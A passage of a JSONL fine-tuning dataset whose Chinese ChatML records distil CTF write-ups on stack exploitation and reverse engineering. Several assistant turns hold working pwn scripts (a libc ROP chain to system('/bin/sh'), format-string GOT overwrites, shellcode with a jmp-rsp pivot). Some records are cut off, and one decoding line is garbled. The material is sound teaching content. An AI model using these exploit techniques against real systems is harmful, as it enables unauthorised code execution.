"chatml::train::distilled_training_data::train::379aff0537d3a44d", "original_line": 622, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SWPUCTF 2023 秋季新生赛]神奇的strlen", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "379aff0537d3a44d", "source_split": "train", "split": "train", "split_group_key": "957be735efa832f8dd20db9e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-03e29e87c4185c821ce9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“填满缓冲区”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 填满缓冲区\n关键词：p64、libc、x00、call_vuln、system、rdi、ret、rop、range、aaaaaaaaaaaaaaaaaaaaaaaa\n蒸馏要点：\n- for i in range(0xb0):\n- s(b'b'*0x48+p64(call_vuln)+b'\\x00'*0x10)\n- ru('aaaaaaaaaaaaaaaaaaaaaaaa')\n- libc = u64(r(6)+b'\\x00\\x00')-0x1e94a0\n- system = libc + 0x000000000052290\n- rdi = libc + 0x23b6a\n- sh = libc + 0x00000000001B45BD\n可用于训练的标准回答：\n# 填满缓冲区\n\nfor i in range(0xb0):\n    s(b'b'*0x48+p64(call_vuln)+b'\\x00'*0x10)\n\nru('aaaaaaaaaaaaaaaaaaaaaaaa')\nlibc = u64(r(6)+b'\\x00\\x00')-0x1e94a0\nsystem = libc + 0x000000000052290\nrdi = libc + 0x23b6a\nsh = libc + 0x00000000001B45BD\nret = libc + 0x0000000000022679\nrop = p64(rdi) + p64(sh) + p64(system)\n\ns((b'a'*0x48+p64(ret)+p64(call_vuln)).ljust(0x60,b'\\x00'))\ns(b'a'*0x48+rop)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::test::distilled_training_data::test::b05acf6c97444d85", "original_line": 13, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "填满缓冲区", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "b05acf6c97444d85", "source_split": "test", "split": "train", "split_group_key": "383f25e18155fcf2adba8414", "tags": ["pwn"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-03fd2718e91f6860808a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“添加约束”？请用《Z3》中的内容回答。", "role": "user"}, {"content": "1. 我们可以通过求解器的`add()`方法为指定求解器添加约束条件，约束条件可以直接通过`z3`变量组成的式子进行表示：\n2. 对于布尔类型的式子而言，我们可以使用z3内置的`And()`、`Or()`、`Not()`、`Implies()`等方法进行布尔逻辑运算：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b4c41a00b526ec1a", "original_line": 646, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "添加约束", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b4c41a00b526ec1a", "source_split": "train", "split": "train", "split_group_key": "e5b178b76dc2f3e4c47808a8", "tags": ["reverse"], "title": "Z3", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-045ad963d41787212aad", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“脚本清除花指令”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 脚本清除花指令\n关键词：buf、pattern、start、fake_jcc、opcode、jnx、chr、jx、抄大佬的代码、JNO\n蒸馏要点：\n- 除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别\n- 互补条件跳转（比较好处理）\n- 永真条件跳转（各种永真条件比较难匹配）\n- call&ret跳转（比较难处理）\n- 所以就只对第一种`jnx`和`jx`的花指令进行自动化处理\n- 所有的跳转指令，互补跳转指令只有最后一个不同\n可用于训练的标准回答：\n## 脚本清除花指令\n\n除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别\n\n1. 互补条件跳转（比较好处理）\n2. 永真条件跳转（各种永真条件比较难匹配）\n3. call&ret跳转（比较难处理）\n\n所以就只对第一种`jnx`和`jx`的花指令进行自动化处理\n\n所有的跳转指令，互补跳转指令只有最后一个不同\n\n```\n70  JO(O标志位为1跳转)\n71  JNO\n72  JB/JNAE/JC\n73  JNB/JAE/JNC\n74  JZ/JE\n75  JNZ/JNE\n76  JBE/JNA\n77  JNBE/JA\n78  JS\n79  JNS\n7A  JP/JPE\n7B  JNP/JPO\n7C  JL/JNGE\n7D  JNL/JGE\n7E  JLE/JNG\n7F  JNLE/JG\n```\n\n抄大佬的代码\n\n```python\nfrom ida_bytes import get_bytes,patch_bytes\nstart= 0x401000#start addr\nend = 0x422000\nbuf = get_bytes(start,end-start)\n\ndef patch_at(p,ln):\n    global buf\n    buf = buf[:p]+b\"\\x90\"*ln+buf[p+ln:]\n\nfake_jcc=[]\nfor opcode in range(0x70,0x7f,2):\n    pattern = chr(opcode)+\"\\x03\"+chr(opcode|1)+\"\\x01\"\n    fake_jcc.append(pattern.encode())\n    pattern = chr(opcode|1)+\"\\x03\"+chr(opcode)+\"\\x01\"\n    fake_jcc.append(pattern.encode())\n\nprint(fake_jcc)\nfor pattern in fake_jcc:\n    p = buf.find(pattern)\n    while p != -1:\n        pa...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b17849bb9b446b3d", "original_line": 955, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "脚本清除花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b17849bb9b446b3d", "source_split": "train", "split": "train", "split_group_key": "a1a60450342cc41977e8c7bb", "tags": ["reverse", "ctf-method"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-04b2e3b0357643be9259", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“opcode 和 对应的操作码”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / opcode 和 对应的操作码（第 1 段）\n关键词：count、code_index、str、end、opcode、opcode_key、data、nop、mov、reg\n蒸馏要点：\n- opcode_key = {\n- 0: 'nop',\n- 1: 'mov reg data',\n- 2: 'push data',\n- 3: 'push_reg',\n- 4: 'pop_reg',\n- 5: 'printf',\n可用于训练的标准回答：\n# opcode 和 对应的操作码\n\nopcode_key = {\n    0: 'nop',\n    1: 'mov reg data',\n    2: 'push data',\n    3: 'push_reg',\n    4: 'pop_reg',\n    5: 'printf',\n    6: 'add_reg_reg1',\n    7: 'sub_reg_reg1',\n    8: 'mul',\n    9: 'div',\n    10: 'xor',\n    11: 'jmp',\n    12: 'cmp',\n    13: 'je',\n    14: 'jne',\n    15: 'jg',\n    16: 'jl',\n    17: 'scanf_strlen',\n    18: 'mem_init',\n    19: 'stack_to_reg',\n    20: 'load_input',\n    0xff: 'exit'\n}\n\n#解释器\ncount = 0\ncode_index = 1\nfor i in opcode: #取出每个opcode\n    if count % 3 == 0: #每3个opcode是一条指令,每个指令的第一个是操作码\n        print(str(code_index) + ':', end=' ')\n        print(opcode_key[i],end=\" \")\n        code_index += 1\n    elif count % 3 == 1:\n        print(str(i)+\",\", end=\" \")\n    else:\n        print(str(i))\n    count += 1\n```\n\n输出结果：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3281fc03412d9a87", "original_line": 1052, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "opcode 和 对应的操作码", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3281fc03412d9a87", "source_split": "train", "split": "train", "split_group_key": "64ade2659f3a7f99d30455f5", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-05124db42aeee60778d7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“opcode 和 对应的操作码”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / opcode 和 对应的操作码（第 3 段）\n关键词：data、flag、temp、chr、range、else\n可用于训练的标准回答：\n```python\ndata = [0x7,0xd,0x0,0x5,0x1,0xc,0x1,0x0,0x0,0xd,0x5,0xf,0x0,0x9,0x5,0xf,0x3,0x0,0x2,0x5,0x3,0x3,0x1,0x7,0x7,0xb,0x2,0x1,0x2,0x7,0x2,0xc,0x2,0x2,]\ndata = data[::-1]\nflag = ''\nfor i in range(0, 34, 2):\n    temp = data[i] + data[i+1]*16\n    x = ((temp+1) ^ 75)\n    y = ((temp-1) ^ 71)\n    if x>=65 and x=97 and y<=122:   # 'a' - 'z'\n        flag += chr(y)\n    else:\n        flag += chr(temp)    # 没有处于'a'-'z'或'A'-'Z'之间\nprint(flag)\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1898b33c7a54470c", "original_line": 1067, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "opcode 和 对应的操作码", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1898b33c7a54470c", "source_split": "train", "split": "train", "split_group_key": "f4f043e2c1a2aa966942e6c8", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0655fe0744b0355721f0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[SDCTF 2022]Oil Spill”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [SDCTF 2022]Oil Spill\n关键词：puts_addr、elf、libc、puts、SDCTF、bin、import、LibcSearcher、gift、ELF\n可用于训练的标准回答：\n### [SDCTF 2022]Oil Spill\n\n#格式化字符串 #GOT劫持\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nputs_addr=int(r(14),16)\nprint(hex(puts_addr))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\nsh=0x600c80\nfmtpay=fmtstr_payload(8,{elf.got.puts:sys,sh:\"/bin/sh\\x00\"})\ns(fmtpay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::73de77e86a7e0fdb", "original_line": 54, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SDCTF 2022]Oil Spill", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "73de77e86a7e0fdb", "source_split": "test", "split": "train", "split_group_key": "8df84f269eaf8cb4762f6933", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0656c2379f2f6aa38f8b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“SSP Leak”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / SSP Leak（第 3 段）\n关键词：rsp、RELRO、PIE、int64、rbp、BYREF、然后我们将程序跑起来，获取程序输入内容的地址。\n\n输入、我们可以看到我们输入的内容已经在栈中。、根据我们的输入位置和、的地址来计算偏移。\n蒸馏要点：\n- 然后我们将程序跑起来，获取程序输入内容的地址。\n- 输入`aaaaaaaa`\n- 我们可以看到我们输入的内容已经在栈中。\n- 根据我们的输入位置和`argv[0]`的地址来计算偏移。\n- 偏移为`0x1f8`，填充偏移大小的垃圾数据，然后在拼接上我们要泄露的变量地址。\n- [2021 鹤城杯]easyecho\n- 分析`main`函数\n可用于训练的标准回答：\n```c\n40:0200│ r13 0x7fffffffd340 ◂— 1\n41:0208│ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash'\n42:0210│+0f0 0x7fffffffd350 ◂— 0\n43:0218│ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64'\n44:0220│+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8'\n45:0228│+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro')\n```\n\n然后我们将程序跑起来，获取程序输入内容的地址。\n\n输入`aaaaaaaa`\n\n我们可以看到我们输入的内容已经在栈中。\n\n```c\n00:0000│ rsp 0x7fffffffccd0 ◂— 0x58c5bb624771\n01:0008│-118 0x7fffffffccd8 ◂— 0x300000000\n02:0010│-110 0x7fffffffcce0 ◂— 'aaaaaaaa'\n03:0018│-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b026\n04:0020│-100 0x7fffffffccf0 ◂— 0xffffcdd0\n05:0028│-0f8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff\n06:0030│-0f0 0x7fffffffcd00 ◂— 0x6562b026\n07:0038│-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi /* '__vdso_getcpu' */\n```\n\n根据我们的输入位置和`argv[0]`的地址来计算偏移。\n\n```c\n 0x7fffffffced8-0x7fffffffcce0=...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f34bfb5e1946b3fe", "original_line": 722, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f34bfb5e1946b3fe", "source_split": "train", "split": "train", "split_group_key": "963e54d1b60020c5180fa2e3", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-069eed080475114fe063", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[广东省大学生攻防大赛 2022]jmprsp”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[广东省大学生攻防大赛 2022]jmprsp”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\njmp_rsp = 0x0000000000459a37\npayload = asm(shellcraft.sh()).ljust(0x88, b'\\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::94261ee9c415e94a", "original_line": 37, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[广东省大学生攻防大赛 2022]jmprsp", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "94261ee9c415e94a", "source_split": "test", "split": "train", "split_group_key": "de552257d274c7fd0938a28c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-06b225f382d3dffa4165", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“脚本清除花指令”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。", "role": "user"}, {"content": "1. 除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别\n2. 互补条件跳转（比较好处理）\n3. 永真条件跳转（各种永真条件比较难匹配）\n4. call&ret跳转（比较难处理）\n5. 所以就只对第一种`jnx`和`jx`的花指令进行自动化处理\n6. 所有的跳转指令，互补跳转指令只有最后一个不同", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::76dbd4be7273f37d", "original_line": 776, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "脚本清除花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "76dbd4be7273f37d", "source_split": "train", "split": "train", "split_group_key": "dc15e542c352d63f933ea723", "tags": ["reverse", "ctf-method"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-06b70db35aced18d549d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[SWPUCTF 2022 新生赛]InfoPrinter”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2022 新生赛]InfoPrinter”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nru(\"key \")\nputs_addr=int(r(14),16)\nr()\nprint(hex(puts_addr))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\n#修改的函数的参数地址\nsh=0x403878\nfmtpay=fmtstr_payload(6,{elf.got.puts:sys,sh:\"/bin/sh\\x00\"})\n\nsl(fmtpay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::495b81ba713e5b33", "original_line": 1081, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SWPUCTF 2022 新生赛]InfoPrinter", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "495b81ba713e5b33", "source_split": "train", "split": "train", "split_group_key": "4043743750eb7aa67438f012", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-071cd5b07d205613cf86", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“2025hgame FORMAT”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“2025hgame FORMAT”。\n关联知识点：\n- 搜索 gadget：\n- main 函数部分存在一个格式化字符串漏洞，但是只能格式化字符串最多只能为 3 个字符，所以这里无法泄露 libc。仅仅可以泄露栈上固定数据。\n- vuln 函数部分存在栈溢出，read 的长度是通过`a1`参数控制的，我们可以通过在外部调用处输入 -1 来写入很大的长度。\n- 通过栈溢出劫持rbp为buf+0x10的地址，然后劫持返回地址为格式化字符串漏洞的地址，从而实现任意地址泄露，由于rdi是rbp-0x10地址的数据，我们要劫持rbp为buf+0x10的位置，从而泄露 libc 的地址。\n代码片段：\n```\nArch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::96cb2f2235cca867", "original_line": 992, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "2025hgame FORMAT", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "96cb2f2235cca867", "source_split": "train", "split": "train", "split_group_key": "ccd1048c9455c45c799f5814", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-07862da8a630246992de", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“call&ret构造花指令”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“call&ret构造花指令”。\n关联知识点：\n- `call`指令的本质：`push`将函数返回地址入栈然后`jmp`函数地址\n- `ret`指令的本质：`pop eip`\n- 代码中的`esp`存储的是函数返回地址，对`[esp]+8`，就是函数的返回地址+8，正好盖过代码中的函数指令和垃圾数据。\n代码片段：\n```\n__asm {\n         call LABEL9;\n         _emit 0x83;\n     LABEL9:\n         add dword ptr ss : [esp] , 8;\n         ret;\n         __emit 0xF3;\n     }\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ed21a1efbb46436a", "original_line": 656, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "call&ret构造花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ed21a1efbb46436a", "source_split": "train", "split": "train", "split_group_key": "19978230dfa1395fda70d1fc", "tags": ["pwn", "reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-079ed5e4d455bbc0c90d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“SSP Leak”部分，提炼一条适合 SFT 的中文技术讲解样本（第 5 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / SSP Leak（第 5 段）\n关键词：STACK、APPCODE_VM_OPTIONS、vmoptions、SSP、easyecho、在栈上发现了我们输入的内容，并且后面还有一个地址。\n\n通过、指令查看一下为哪个段的地址，发现为可执行段的地址。、我们可以通过这个地址减去程序基址获取偏移。、c\np/x 0x555555400cf0-0x555555400000=cf0、程序通过格式化字符串\n蒸馏要点：\n- 0x555555400b1d    lea    rsi, [rip + 0x58b]       RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\\n\\n' */\n- 0x555555400b24    mov    edi, 1                   EDI => 1\n- ───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────\n- 00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */\n- 01:0008│         0x7fffffffcef8 ◂— 0\n- 02:0010│         0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx\n- 03:0018│         0x7fffffffcf08 ◂— 0\n可用于训练的标准回答：\n0x555555400b1d    lea    rsi, [rip + 0x58b]       RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\\n\\n' */\n   0x555555400b24    mov    edi, 1                   EDI => 1\n───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────\n00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */\n01:0008│         0x7fffffffcef8 ◂— 0\n02:0010│         0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx\n03:0018│         0x7fffffffcf08 ◂— 0\n04:0020│ rbx     0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'\n05:0028│         0x7fffffffcf18 ◂— 0\n06:0030│         0x7fffffffcf20 ◂— 1\n07:0038│         0x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 